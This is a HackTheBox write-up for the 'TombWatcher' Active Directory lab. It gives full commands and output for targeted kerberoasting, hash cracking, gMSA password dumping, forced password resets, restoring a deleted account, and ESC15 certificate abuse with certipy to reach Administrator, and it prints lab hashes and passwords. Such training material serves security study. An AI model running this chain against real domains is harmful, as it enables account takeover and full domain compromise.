HTB TombWatcher Writeup
Overview
This is a medium Windows machine on HackTheBox. Given the machine’s IP we want to create a shell with full admin privileges. These credentials are provided at the start
1
henry:H3nry_987TGV!
Exploit Path
Starting as henry we can run a targeted kerberoast attack on alfred to obtain their password. alfred can add themselves to a group which is able to read ansible_dev’s credentials. ansible_dev can change the password for sam. sam can change the owner for john, allowing us to change john’s password. john can login and grab the user.txt flag!
john has full control over the ADCS organization unit. We’re able to reactivate the cert_admin account and change their password. cert_admin has access to a vulnerable certificate which allows us to authenticate as administrator, giving us a full administrator shell and the root.txt flag!
Enumeration
Port Scan
Let’s find out what services are accessible
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ rustscan --accessible -a 10.10.11.72 -- -A -sC
Automatically increasing ulimit value to 5000.
Open 10.10.11.72:53
Open 10.10.11.72:80
Open 10.10.11.72:88
Open 10.10.11.72:135
Open 10.10.11.72:139
Open 10.10.11.72:389
Open 10.10.11.72:445
Open 10.10.11.72:464
Open 10.10.11.72:593
Open 10.10.11.72:636
Open 10.10.11.72:5985
Open 10.10.11.72:9389
Open 10.10.11.72:49667
Open 10.10.11.72:49693
Open 10.10.11.72:49691
Open 10.10.11.72:49692
Open 10.10.11.72:49712
Open 10.10.11.72:49718
Starting Script(s)
Running script "nmap -vvv -p -A -sC" on ip 10.10.11.72
# ...
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-10-09 07:13:00Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-09T07:14:34+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
# ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-09T07:14:33+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
# ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49718/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
We’ll need to authenticate with kerberos
1
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-10-09 07:13:00Z)
This is an active directory machine using the dc01 subdomain
1
2
3
4
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-09T07:14:34+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
Let’s add these domains to our /etc/hosts file
1
10.10.11.72 tombwatcher.htb dc01.tombwatcher.htb
Kerberos
To fix time skew issues, add this into ~/.zshrc and prepend it before active directory commands
1
alias sync-ad="faketime \"\$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)\" "
We need to generate a configuration file for evil-winrm to work correctly
1
2
3
4
5
6
7
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad nxc smb tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -k --generate-krb5-file krb5.conf
SMB tombwatcher.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB tombwatcher.htb 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sudo cp krb5.conf /etc/krb5.conf
Our /etc/krb5.conf should look like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = TOMBWATCHER.HTB
[realms]
TOMBWATCHER.HTB = {
kdc = dc01.tombwatcher.htb
admin_server = dc01.tombwatcher.htb
default_domain = tombwatcher.htb
}
[domain_realm]
.tombwatcher.htb = TOMBWATCHER.HTB
tombwatcher.htb = TOMBWATCHER.HTB
Bloodhound
Let’s map the active directory relationships
1
2
3
4
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodhound-python -u 'henry' -p 'H3nry_987TGV!' -dc dc01.tombwatcher.htb -d tombwatcher.htb -ns 10.10.11.72 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
# ...
Start bloodhound and upload the generated zip file
1
2
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sudo -b neo4j console && bloodhound
Look at the Shortest Paths to Domain Admins 
There’s a path to the machine from henry! Let’s start hopping
user.txt
henry -> alfred
Authenticate with kerberos using the credentials provided at the beginning
1
2
3
4
5
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad getTGT.py -dc-ip 10.10.11.72 'tombwatcher.htb/henry:H3nry_987TGV!'
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in henry.ccache
Save it to the environment so other programs can use it
1
2
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ export KRB5CCNAME=$(pwd)/henry.ccache
Looking at the bloodhound relationships, henry has the WriteSPN permission on the alfred user 
This permission lets us perform a kerberoasting attack using the targetedKerberoast tool
1
2
3
4
5
6
┌──(kali@kali)-[/tombwatcher.htb/targetedKerberoast]
└─$ sync-ad python3 targetedKerberoast.py -d 'tombwatcher.htb' -k --dc-ip '10.10.11.72'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$ed87d10aff7b730cb8cacdec190e8305$cc17432f117d13cc91b0c266c1635b186aa3220ec5e55626a1d54605603ac615a82456cc3fd2d6ab5fbcf84b28d077e07421aedea86a477a540eeea7a528233a7d777045e3648bf59dbcadff3ed3b1a548b2d9f0280e007184293a24c10c7eec55163d08ba4d26d61ee7bc089b8a2fe83675e906471a64707daedffab4ab90109863b71ec0ed51cbda2044008e6ebbef56c9fcfb50e64340e473491c2ecc027bec55172f2f1a1943a9c99b86f899425746aa6905da0588d25ea9a86fbe8422749e5cc24754847e743f42e3ce76beb922450abb85c818f1b6cabb2a9cae9627a7a386bfc33224fb3aa5783808485989d0abd73351d38fbaf386734b8879be0de1ab1cc56c63b2c3dac9e4d1e2b90c34b5b23e8cbd93fe2714bc1f4f961e92b2caece7e21190779c939d96f1c295f2974139730e41c7f01a3a3bfea002d6d78455511818b75a91de8b7faa7d148f46797b7de9a1035e696e132924206886ae1812b282fe86aa49eacae4735f6e1fd592a20711089de7cb4efde4cb9003c9d88a5ccd99585f539f837d12a799998066781515bc4aa4a62f5e6aa31974e2ac8c22513fda597c7875fad34515829d20b7c76116277ba4ccc4cf9c4f917144f882db4c815da961dbb39972957a17bc19f189e646450ae9fa5bc38a1c347f5542b2a5e85ca23ea9b366c5af8da3f5a68d6b8b6c4099ebb605f9cfe0538c9c53f7f4feff2f9360dd76eec72f6133895fcd3934f1e43aea3600009fd49e2753e750f78649f0c5e2ac94ddd78f66b65cbced313a34851c6e64fc1449e0ed376c1805cb6cd4b4238908629f401ce0066712e04512cf79859a97e9f8f1b13c9c19bda1267f1ffc00d66d67a36d9966ba6bb6e077e126882990f0259005a952eb1f9220e77b4dc7c131b29435407c3b0292baf04d8bf4addd45f9f64c467811deee53cc76f4b0f9170726f8266f0a8944703ede9ca1882590c82aac35b0917956b1e32eb928c3b2ecfcbf5ae4a3d606551d12b5611c760ce2e78233cd95d31c39db452e28e6f486ba7eb9ebe59c183b172ba8244ca5fc203171bc87bed44b80ae9952fc0d5a5270385aba8a25cf8907528ed4b4e7d0a90e4c37e5f803bfed74b9fd51111da2b2c46dcf05d095b2d8c0de6dbc44c979686c40e972622b670eee5b4c77b3a48cdcd1ecc68daab217ba933fd4b07465c31345e8c91443b898d13d481f997f7763c7f5905a45d8da24509efa7ba9a6334ab9ca034aaca25fdd8861eb47869ca463dbe3d38fced45dacb5b2a2e2f1b7944491eece49e908b657545e11a8f88be1699cbca770c8a1b211de47a8bc74be2a7f2845b00617d2ad2a63295fda2e3f3f15cc128cd693b1810b8af9a00c8fda04bb6f5f86546cf781f2e4479756c6afa0d5b366ff97a1bc1d619a703df09dd924bb0f8af60516d03236451a78505ae18cd3a39b79f65b6fd1c578f9b862d434c930ef583f744d4e
We can add the entire hash to crack.txt and use john to crack it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ vim crack.txt
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --fork=3 --progress-every=30 crack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Node numbers 1-3 of 3 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (?)
3 1g 0:00:00:00 DONE (2025-10-08 23:39) 16.66g/s 1066p/s 1066c/s 1066C/s 123456789..november
2 0g 0:00:00:08 DONE (2025-10-08 23:39) 0g/s 576053p/s 576053c/s 576053C/s julissa87.a6_123
1 0g 0:00:00:08 DONE (2025-10-08 23:39) 0g/s 569197p/s 569197c/s 569197C/s anggandako.abygurl69
Waiting for 2 children to terminate
Session completed.
alfred -> ansible_dev
Authenticate as alfred
1
2
3
4
5
6
7
8
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad getTGT.py -dc-ip 10.10.11.72 'tombwatcher.htb/alfred:basketball'
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in alfred.ccache
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ export KRB5CCNAME=$(pwd)/alfred.ccache
Add alfred to the infrastructure group
1
2
3
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -k --host dc01.tombwatcher.htb -d dc01.tombwatcher.htb add groupMember infrastructure alfred
[+] alfred added to infrastructure
Now we can read ansible_dev’s GMSAPassword 
This is possible using gMSADumper
1
2
3
4
5
6
7
┌──(kali@kali)-[~/tombwatcher.htb/gMSADumper]
└─$ sync-ad python3 gMSADumper.py -u 'alfred' -p 'basketball' -l dc01.tombwatcher.htb -d tombwatcher.htb
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::4f46405647993c7d4e1dc1c25dd6ecf4
ansible_dev$:aes256-cts-hmac-sha1-96:2712809c101bf9062a0fa145fa4db3002a632c2533e5a172e9ffee4343f89deb
ansible_dev$:aes128-cts-hmac-sha1-96:d7bda16ace0502b6199459137ff3c52d
ansible_dev -> sam
We can run commands as ansible_dev 
ansible_dev can change the password for sam. I’ll set it to Dasian123!
1
2
3
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -d tombwatcher.htb -u 'ansible_dev$' -p ':4f46405647993c7d4e1dc1c25dd6ecf4' -f rc4 --host dc01.tombwatcher.htb set password 'sam' 'Dasian123!'
[+] Password changed successfully!
sam -> john
sam has the WriteOwner privilege over john 
Set john’s owner to sam
1
2
3
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p Dasian123! set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
Give sam the GenericAll privilege over john
1
2
3
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -d tombwatcher.htb -u 'sam' -p 'Dasian123!' --host dc01.tombwatcher.htb add genericAll 'john' 'sam'
[+] sam has now GenericAll on john
Now we can change john’s password to Dasian123!
1
2
3
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -d tombwatcher.htb -u 'sam' -p 'Dasian123!' -f rc4 --host dc01.tombwatcher.htb set password 'john' 'Dasian123!'
[+] Password changed successfully!
Authenticate with kerberos and grab the user.txt flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -d tombwatcher.htb -u 'sam' -p 'Dasian123!' -f rc4 --host dc01.tombwatcher.htb set password 'john' 'Dasian123!'
[+] Password changed successfully!
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad getTGT.py -dc-ip 10.10.11.72 'tombwatcher.htb/john:Dasian123!'
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in john.ccache
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ export KRB5CCNAME=$(pwd)/john.ccache
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad evil-winrm -i dc01.tombwatcher.htb -r tombwatcher.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents> cat ../Desktop/user.txt
root.txt
john -> cert_admin
Let’s enumerate users
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\john> net users /domain
User accounts for \\
-------------------------------------------------------------------------------
Administrator Alfred Guest
Henry john krbtgt
sam
The command completed with one or more errors.
We can check for deleted users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
*Evil-WinRM* PS C:\Users\john> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Restore the cert_admin user
1
*Evil-WinRM* PS C:\Users\john> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Re enable the account
1
*Evil-WinRM* PS C:\Users\john> Enable-ADAccount -Identity cert_admin
Verify reactivation is successful
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\john> net users /domain
User accounts for \\
-------------------------------------------------------------------------------
Administrator Alfred cert_admin
Guest Henry john
krbtgt sam
The command completed with one or more errors.
Let’s check the relationship between john and the new cert_admin user in bloodhound. We’ll need to gather data again as cert_admin has been reactivated
1
2
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodhound-python -u 'henry' -p 'H3nry_987TGV!' -dc dc01.tombwatcher.htb -d tombwatcher.htb -ns 10.10.11.72 -c all --zip
john has GenericAll over cert_admin 
We can change cert_admin’s password to Dasian123!
1
2
3
4
5
6
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ export KRB5CCNAME=$(pwd)/john.ccache
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad bloodyAD -d tombwatcher.htb -k -f rc4 --host dc01.tombwatcher.htb set password 'cert_admin' 'Dasian123!'
[+] Password changed successfully!
Using certipy we can check if there are vulnerable certificates
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad certipy-ad find -u cert_admin@tombwatcher.htb -p 'Dasian123!' -dc-ip 10.10.11.72 -stdout -vulnerable
Certipy v5.0.2 - by Oliver Lyak (ly4k)
# ...
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
Let’s check out the instructions for Escalation 15 and follow scenario B for PKINIT/Kerberos Impersionation via Enrollment Agent Abuse
First we’ll request a certificate and inject the Certificate Request Agent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad certipy-ad req \
-u 'cert_admin@tombwatcher.htb' -p 'Dasian123!' \
-dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
-ca 'TOMBWATCHER-CA-1' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'
We’ll request a certificate on behalf of the Administrator user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad certipy-ad req \
-u 'cert_admin@tombwatcher.htb' -p 'Dasian123!' \
-dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
-ca 'TOMBWATCHER-CA-1' -template 'User' \
-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Now we can authenticate as Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb':<HASH_REDACTED>
Login and grab the root.txt flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ export KRB5CCNAME=$(pwd)/administrator.ccache
┌──(kali@kali)-[~/tombwatcher.htb]
└─$ sync-ad evil-winrm -i dc01.tombwatcher.htb -r tombwatcher.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt




